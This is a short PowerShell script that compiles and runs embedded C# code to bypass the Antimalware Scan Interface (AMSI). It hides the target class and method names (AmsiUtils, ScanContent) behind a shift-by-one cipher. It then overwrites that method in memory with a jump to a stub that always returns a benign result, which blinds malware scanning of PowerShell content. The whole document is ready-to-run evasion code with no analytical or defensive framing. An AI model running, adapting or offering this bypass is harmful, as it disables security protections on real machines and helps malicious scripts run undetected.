$code = @" using System; using System.ComponentModel; using System.Management.Automation; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Text; namespace Editor { public static class Methods { public static void Patch() { MethodInfo original = typeof(PSObject).Assembly.GetType(Methods.CLASS).GetMethod(Methods.METHOD, BindingFlags.NonPublic | BindingFlags.Static); MethodInfo replacement = typeof(Methods).GetMethod("Dummy", BindingFlags.NonPublic | BindingFlags.Static); Methods.Patch(original, replacement); } [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)] private static int Dummy(string content, string metadata) { return 1; } public static void Patch(MethodInfo original, MethodInfo replacement) { //JIT compile methods RuntimeHelpers.PrepareMethod(original.MethodHandle); RuntimeHelpers.PrepareMethod(replacement.MethodHandle); //Get pointers to the functions IntPtr originalSite = original.MethodHandle.GetFunctionPointer(); IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer(); //Generate architecture specific shellcode byte[] patch = null; if (IntPtr.Size == 8) { patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 }; byte[] address = BitConverter.GetBytes(replacementSite.ToInt64()); for (int i = 0; i < address.Length; i++) { patch[i + 2] = address[i]; } } else { patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 }; byte[] address = BitConverter.GetBytes(replacementSite.ToInt32()); for (int i = 0; i < address.Length; i++) { patch[i + 1] = address[i]; } } //Temporarily change permissions to RWE uint oldprotect; if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } //Apply the patch IntPtr written = IntPtr.Zero; if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) { throw new Win32Exception(); } //Flush insutruction cache to make sure our new code executes if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) { throw new Win32Exception(); } //Restore the original memory protection settings if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) { throw new Win32Exception(); } } private static string Transform(string input) { StringBuilder builder = new StringBuilder(input.Length + 1); foreach(char c in input) { char m = (char)((int)c - 1); builder.Append(m); } return builder.ToString(); } [DllImport("kernel32.dll", SetLastError = true)] private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); private static readonly string CLASS = Methods.Transform("Tztufn/Nbobhfnfou/Bvupnbujpo/BntjVujmt"); private static readonly string METHOD = Methods.Transform("TdboDpoufou"); } } "@ Add-Type $code [Editor.Methods]::Patch()